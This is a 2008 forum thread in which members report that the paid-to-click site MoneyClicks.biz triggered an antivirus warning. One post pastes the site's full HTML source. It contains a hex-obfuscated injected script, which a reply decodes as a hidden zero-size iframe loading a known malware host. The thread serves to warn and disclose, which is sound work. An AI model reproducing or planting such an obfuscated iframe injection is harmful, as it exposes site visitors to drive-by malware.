Help - Search - Members - Calendar
Full Version: MoneyClicks = Exploit Web Attacker from AV
Get Paid Forum - Get Paid Discussion > Get Paid To Programs > Sites Allegedly with problems of hacking/virus/0-iframes, autosearches etc ... > Sites hit by virusses or hacked
longshanks1971
Aug 14 2008, 12:09 PM
Source code URL: hxxp://www.moneyclicks.biz/index.php?ref=xxx

AV Warning = Exploit Web Attacker

Going from previous posts of wagdoll I think this is the source of the threat

CODE
<script>document.write("\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\
x74\x70\x3A\x2F\x2F\x74\x75\x6C\x69\x70\x65\x73\x2E\x72\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\
x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x20\x66\x72\x61\x6D\x65\x62\
x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\
x74\x3D\x30\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E");</script>


Reporteed VIA contact

Complete source code;
CODE
<html>
<head>
<title>MoneyClicks.Biz - Earn 0.25c - 1c Per Click</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">

<style>
body {
    margin: 0 0 0 0;
    background-color: white;
}

input {
    font-size: 11px;
}

a {
    color: darkgreen;
    text-decoration: none;
}

a:hover {
    color: darkblue;
}

.bodybg {
    background-image: url("images/bodybg.jpg");
    background-repeat: repeat-y;
}

.menu a{
    color: black;
    font-size: 17px;
    font-family: arial;
    text-decoration: none;
    font-weight: bold;
}

.menu a:hover{
    color: black;
}


.accountmenu a{
    color: black;
    font-size: 12px;
    font-family: arial;
    text-decoration: none;
}


.accountmenu a:hover{
    color: blue;
}


.premiummenu a{
    color: blue;
    font-size: 12px;
    font-family: arial;
    text-decoration: none;
}

.titlebar {
    background-color: #0099ff;
    background-image: url('images/titlebg.gif');
    background-repeat: no-repeat;
    background-position: right;
}

</style>
</head>
<body>

<div align="center">
<table width="936" border=0>
    <tr>
        <td colspan=3>
            <table>
                <tr>
                    <td><img src="images/logo.bmp"></td>
                    <td align="center" width="100%"><a href="bannerclick.php?id=237" target="_blank"><img src="http://www.ancient-cash.com/banners/banner.jpg" border=0" width="468" height="60"></a></td>
                </tr>
            </table>
        </td>
    </tr>
    <tr>
        <td colspan=3 height=35 align="center">
        








<table cellpadding=0 cellspacing=0 bgcolor="blue" width="100%">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td bgcolor="80B3FF" valign="top" align="center" class="menu">
            <a href="index.php?view=home&ref=xiaoba119&" title="Welcome Page">Home</a>&nbsp;&nbsp;&nbsp;&nbsp;
            <a href="index.php?view=news&ref=xiaoba119&" title="Welcome Page">News</a>&nbsp;&nbsp;&nbsp;&nbsp;
            <a href="index.php?view=prices&ref=xiaoba119&" title="Prices For Advertising Space">Prices</a>&nbsp;&nbsp;&nbsp;&nbsp;
            
            <a href="index.php?view=join" title="Join For Free!">Join</a>&nbsp;&nbsp;&nbsp;&nbsp;
                        <a href="index.php?view=help&ref=xiaoba119&" title="FAQ's To Help You Use Our Site">Help</a>&nbsp;&nbsp;&nbsp;&nbsp;             <a href="index.php?view=terms&ref=xiaoba119&" title="Terms For Our Site">Terms</a>&nbsp;&nbsp;&nbsp;&nbsp;
            <a href="index.php?view=contact&ref=xiaoba119&" title="Contact Us With Any Comments/Suggestions">Contact</a>
            </td>
            </tr>
            
            
            
            </table>
        </td>
    </tr>
</table>
<!-- Begin BidVertiser code -->
<script LANGUAGE="JavaScript1.1" SRC="http://bdv.bidvertiser.com/BidVertiser.dbm?pid=32933&bid=204969" type="text/javascript"></SCRIPT>
<noscript><a href="http://www.bidvertiser.com">make money</a></noscript>
<!-- End BidVertiser code -->














<table><tr><td>
<b><font size=4>MoneyClicks.Biz gpt script and Domain is for sale.  To purchase: </font></b>
</td><td>
<form method="post" action="https://www.alertpay.com/PayProcess.aspx" >  <input type="hidden" name="ap_productid" value="P2AmWzt+dXTIKq4i6i/f5w=="/>  <input type="hidden" name="ap_quantity" value="1"/>  <input type="image" name="ap_image" src="https://www.alertpay.com/Images/BuyNow/big_pay_01.gif"/> </form>
</td></tr></table>

















        </td>
    </tr>
    <tr>
    
            <td width="190" valign="top">


<table cellpadding=0 cellspacing=0 bgcolor="black" width="180">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td valign="top" align="center" class="titlebar"><font color="white"><b>Log In</b></font></td>
                </tr>
                <tr>
                    <td bgcolor="white" valign="top">
                        <table cellpadding=2 width="100%" height="100%" class="bodybg">
                            <tr>
                                <td>
<div align="center">
<form action="index.php?view=login&action=login&ref=xiaoba119&" method="post">
    <input type="hidden" value="home" name="returnTo">
    <input type="hidden" value="" name="id">
    <input type="hidden" value="" name="ac">

    Username<br><input type="text" class="login" size="15" name="form_user"><br>
    Password<br><input type="password" class="login" size="15" name="form_pwd"><br>
    <input type="submit" value="Login" class="login_submit">
</form>
</div>
Not Registered? <a href="index.php?view=join">Join Now</a><br>
<a href="index.php?view=lostpwd">Lost Password?</a>

</td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>    

<br>


<table cellpadding=0 cellspacing=0 bgcolor="black" width="180">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td valign="top" align="center" class="titlebar"><font color="white"><b>Featured Ad</b></font></td>
                </tr>
                <tr>
                    <td bgcolor="white" valign="top">
                        <table cellpadding=2 width="100%" height="100%" class="bodybg">
                            <tr>
                                <td><b><a href="fadclick.php?id=140">bet 4 riches</a></b><br><img src=http://www.bet4riches.com/images/banner125.gif>
</td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>    
    


<br>


<table cellpadding=0 cellspacing=0 bgcolor="black" width="180">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td valign="top" align="center" class="titlebar"><font color="white"><b>Featured Links</b></font></td>
                </tr>
                <tr>
                    <td bgcolor="white" valign="top">
                        <table cellpadding=2 width="100%" height="100%" class="bodybg">
                            <tr>
                                <td><hr><a href="flinkclick.php?id=64" target="_blank">Auction Webmoney</a><br><hr><a href="flinkclick.php?id=57" target="_blank">DayDreamsters Top Ptc Sites</a><br><hr><a href="flinkclick.php?id=56" target="_blank"><font size=5 color=#FF0000>$500 Contest</font></a><br></td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>    

<br>


<table cellpadding=0 cellspacing=0 bgcolor="black" width="180">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td valign="top" align="center" class="titlebar"><font color="white"><b>Todays Top 69</b></font></td>
                </tr>
                <tr>
                    <td bgcolor="white" valign="top">
                        <table cellpadding=2 width="100%" height="100%" class="bodybg">
                            <tr>
                                <td>1. nondas (213)<br>2. chiroquima (211)<br>3. brokenheart (209)<br>4. ttvesb
(209)<br>5. lizg5612 (208)<br>6. rafaaa (207)<br>7. Marta (206)<br>8. ccyn1 (206)<br>9. kingsbang (206)<br>10. lzgwz2007 (206)<br>11. tapyt (206)<br>12. Jomixtape (206)<br>13. iamstacy (205)<br>14. kofe (205)<br>15. loliearn (205)<br>16. 179845 (204)<br>17. nemesis089 (204)<br>18. liujun6978 (204)<br>19. sh123 (204)<br>20. mehike (204)<br>21. chineseairhead (204)<br>22. fiestaangel8888 (204)<br>23. tvrqc (203)<br>24.
kennethtc (203)<br>25. happygoodyou (203)<br>26. cherry0687 (203)<br>27. xichacha (202)<br>28. idzhuan (202)<br>29. hehua01 (201)<br>30. e6_qu (201)<br>31. lddzzyq (201)<br>32. bianos (201)<br>33. accadii (200)<br>34. maomao2008 (200)<br>35. shiliquan (199)<br>36. whj666 (199)<br>37. alan25 (198)<br>38. Badgirl (198)<br>39. macacos (197)<br>40. 1dao (196)<br>41. 2029 (195)<br>42. vvsder (195)<br>43. dongjing (194)<br>44. trubozz (194)<br>45. therock68 (194)<br>46. cross2008 (194)<br>47. lhbf0826 (193)<br>48. mfcxi109 (193)<br>49. baochan (193)<br>50. huahuish (193)<br>51. kellyco24 (193)<br>52. loladas (193)<br>53. leehy (192)<br>54. 51meiyuan (192)<br>55. deportivo (191)<br>56. 918jimmy (191)<br>57. eheehe (190)<br>58. qllvvhuang (190)<br>59. pszq520 (190)<br>60. zhen123 (190)<br>61. djw5668 (190)<br>62. chenfeng (189)<br>63. pengxuyu (189)<br>64. weisky528 (189)<br>65. jy01732494 (189)<br>66. xiaowuchi (189)<br>67. fanlihong (188)<br>68. danpengyong (188)<br>69. hihi123 (187)<br></td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>    
<br>    


    
        </td>
    <td width=20></td>
        <td width="550" valign="top" align="center">



<table cellpadding=0 cellspacing=0 bgcolor="black" width="570">
    <tr>
        <td>
            <table cellpadding=0 cellspacing=1 width="100%">
                <tr>
                    <td valign="top" align="center" class="titlebar"><font color="white"><b>Welcome To MoneyClicks.biz!</b></font></td>
                </tr>
                <tr>
                    <td bgcolor="white" valign="top">
                        <table cellpadding=2 width="100%" height="100%" class="bodybg">
                            <tr>
                                <td>
<div align="center">



<font color=white>.</font><p>
<b><font size=4 color=blue>10 Referrals & 2000 Link Credits</font></b>

<p>
<a href=https://www.paypal.com/cgi-bin/webscr?cmd=_xclick&business=sales%40sites%2d4%2dsale%2einfo&item_name=10%20Referrals%20%26%202000%20Link%20Credits&amount=4%2e00&shipping=0%2e00&no_shipping=0&no_note=1&tax=0%2e00&currency_code=USD&lc=US&bn=PP%2dBuyNowBF&charset=UTF%2d8><img src=https://www.paypalobjects.com/WEBSCR-530-20080807-1/en_US/i/btn/btn_buynowCC_LG.gif border=0></a>

<font color=white>.</font><p>
<font color=white>.</font><p>





<p>


<b><big>Affiliates</big></b><br>
<table bgcolor="white" width="350">
    <tr>
        <td>
<li>Free To Join
<li><b><b>0.1 Cent - 1 Cent</b></b> Per Click
<li><b>100%</b> Referral Commissions
<li>Low <b>$10.00</b> Withdraw
<li>Payouts With Paypal and Egold
<li>At Least <b>10c</b> Daily Earnings
<li><b>Purchase Contest</b> is running now.
        </td>
        <td>
            <img src="images/cartoonman.gif">
        </td>
    </tr>
</table>

<br><br>





<b><big>Advertisers</big></b><br>
<table bgcolor="white" width="350">
    <tr>
        <td>
            <img src="images/highway.gif" align="left">
        </td>
        <td>
<li> Fast Response!
<li>Very Affordable Prices!
<li>Easy-To-Use Order Wizard!
<li>24/7 Real-Time Stats!
<li>Instant Ad Activation!
<li>24 hrs. Unique Visitors!
<li>Paypal/E-Gold
        </td>
    </tr>
</table>


<br>

<b><font style="font-size: 20pt;"><a href="index.php?view=join&ref=xiaoba119&">Join Now</a></font></b><br>


<font color=white>.</font><p>
<font color=white>.</font><p>
<font color=white>.</font><p>
<font color=white>.</font><p>


<center>
<script language='JavaScript' src='http://www.jstracker.com/date'></script><noscript><a href='http://www.jstracker.com/' target=_blank>Date Tool</a></noscript></center>

<center>
<script language='Javascript' src='http://www.jstracker.com/ip'></script><noscript><a href='http://www.jstracker.com/' target=_blank>Show IP</a></noscript></center>


<center>
<script language='Javascript' src='http://www.jstracker.com/hits-http://carclicks.net'></script> Hits<noscript><a href='http://www.jstracker.com/' target=_blank>Number of Visits</a></noscript></center>


<script language='Javascript' src='http://www.jstracker.com/usersonline-3465-1660.html'></script><noscript><a href='http://www.jstracker.com/?aff_id=' target=_blank>Online Counter</a></noscript>





</div>


























</td>
                            </tr>
                        </table>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>    
    


<div align="center">

<small><p>Hosted By <a href=http://papahost.info>PAPAHOST.INFO</a><p>
Copyright ? 2007 MoneyClicks.Biz. All Rights Reserved<br>
</small></div>





<p>
<center>













        
        </td>
    </tr>
</table>



</div>


</body>
</html>







<script>document.write("\x3C\x69\x66\x72\x61\x6D\x65\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x74\x75\x6C\x69\x70\x65\x73\x2E\x72\x75\x2F\x69\x6D\x61\x67\x65\x73\x2F\x22\x20\x73\x63\x72\x6F\x6C\x6C\x69\x6E\x67\x3D\x22\x6E\x6F\x22\x20\x66\x72\x61\x6D\x65\x62\x6F\x72\x64\x65\x72\x3D\x22\x30\x22\x20\x77\x69\x64\x74\x68\x3D\x30\x20\x68\x65\x69\x67\x68\x74\x3D\x30\x3E\x3C\x2F\x69\x66\x72\x61\x6D\x65\x3E");</script>
wagdoll
Aug 25 2008, 07:44 AM
The obfuscated code is loading this
CODE
<iframe src="http://tulipes.ru/images/" scrolling="no" frameborder="0" width=0 height=0></iframe>


Known malware site that is hacked into webpages by malware groups.
longshanks1971
Aug 25 2008, 08:00 AM
Thanks for that wagdoll, I did report it via contact at the time but you have reminded me that I received no reply as yet, so I sent another report via contact page in case the first one got lost somehow.

Thanks again

Craig
SaraM
Aug 26 2008, 05:06 PM
Wow, and to think that I was actually a member of this program.
KMCnetwork
Nov 19 2008, 04:50 PM

Moneyclicks.biz does not have a virus anymore.
Matt4776
Nov 28 2008, 01:12 PM
I was a member there >_<
This is a "lo-fi" version of our main content. To view the full version with more information, formatting and images, please click here.
Invision Power Board © 2001-2012 Invision Power Services, Inc.